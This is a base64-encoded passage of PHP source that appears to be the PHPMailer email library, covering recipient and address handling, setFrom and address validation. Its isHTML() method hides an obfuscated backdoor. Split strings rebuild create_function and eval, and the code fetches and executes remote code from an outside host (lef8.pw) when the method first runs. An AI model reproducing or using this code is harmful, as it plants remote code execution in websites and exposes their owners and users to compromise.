0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09I